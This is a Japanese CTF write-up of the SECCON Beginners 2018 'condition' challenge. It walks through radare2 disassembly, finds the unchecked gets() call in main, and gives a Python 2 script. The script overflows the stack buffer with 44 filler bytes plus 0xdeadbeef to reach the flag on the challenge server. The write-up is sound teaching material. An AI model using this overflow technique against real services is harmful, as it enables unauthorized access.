condition( SECCON beginners 2018)のwriteup

CTF

しばらくPWNやってなかったら完全にやり方のセオリー忘れてました。
作問意図としてはクソ簡単な腕慣らし問題の想定だと思うのですが時間かかっちゃいました。
また忘れるので基本的な解き方のメモを兼ねます。

問題:

サーバ側で実行されていると思われる実行ファイルcondition_68187f0953551cea907c48c016f19ff200de74b4がダウンロードでき、Host: pwn1.chall.beginners.seccon.jp、Port :16268に繋げとの指示。

まずnetcatで繋いでみます。

$ nc  pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...blablabla
Permission denied

名前をいれて、それが正しいとフラグが見れるタイプの問題です。
ダウンロードしてきたファイルを見てみましょう。
radar2を用います。

$ r2 condition_68187f0953551cea907c48c016f19ff200de74b4
[0x00400660]> aaa           #(Analyze Allの意)
[0x00400660]> afl             #(見つかった関数の一覧、All Functions List かな?)
0x00400660 42   1  sym._start
0x00400610 6   1  sym.imp.__libc_start_main
0x00400616 16   1  fcn.00400616
0x004005bc 10   1  fcn.004005bc
0x004005c6 16   1  fcn.004005c6
0x004005d6 16   1  fcn.004005d6
0x004005e6 16   1  fcn.004005e6
       ...
[0x00400660]> s sym.main        #(sym.mainまでseekの意)
[0x00400771] > VV               #(ビジュアルグラフィックモードに切り替え。前はCLIだったが今はWebブラウザインターフェース?)
 

radar2のビジュアルグラフィックモードでmain関数を見るとこんな感じ。

0x004007a cmp dword[rbp-0x4], 0xdeadbeef
でrbp-0x4から4バイトと即値0xdeadbeefを比較して、同じならば(左側のの四角のコードに遷移して)flag.txtを表示しているのがわかります。
rbp-0x4から4バイトに0xdeadbeefを入れればflag.txtが見られます。

ではrbp-0x4にはどのようにして0xdeadbeefを入れればよいのでしょうか?

0x0040078f ~ 0x00400796
にて関数呼び出しの準備をし、
0x0040079b call sym.imp.gets
にて入力を受け付ける関数が呼び出されています。
ここで、名前として入力された文字を受け付けています。

0x0040078fで準備しているように、sym.imp.getsではrbp-0x30から書き込んでいきます。
なので、rbp-0x30からrbp-0x04までは適当に’a’などで埋めて、rbp-0x04からの4バイトに0xdeadbeefを入れれば良いです。

下図は名前入力で aを(0x30 – 0x04 =) 44個、そのあとに0xdeadbeefを入力したときのスタックです。

下がPython2で書いたエクスプロイトコードですが、バイトオーダーに注意してください。リトルエンディアンな環境なので、0xdeadbeefのメモリ上での並び方は、メモリ番地が小さい方から0xef 0xbe 0xad 0xdeです。

エクスプロイトコード

# coding: utf-8

import socket
import sys
import re  
import time
import codecs

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
server_address = ('153.120.167.242', 16268)
sock.connect(server_address)
text1 = sock.recv(10024)       #説明を読み飛ばす
print text1
print ('a'*44) +  'efbeadde'.decode('hex') + 'n' 

#データ送信
sock.sendall(('a'*44) +  'efbeadde'.decode('hex') + 'n')         
time.sleep(2)
data = sock.recv(10000)
print data

コメント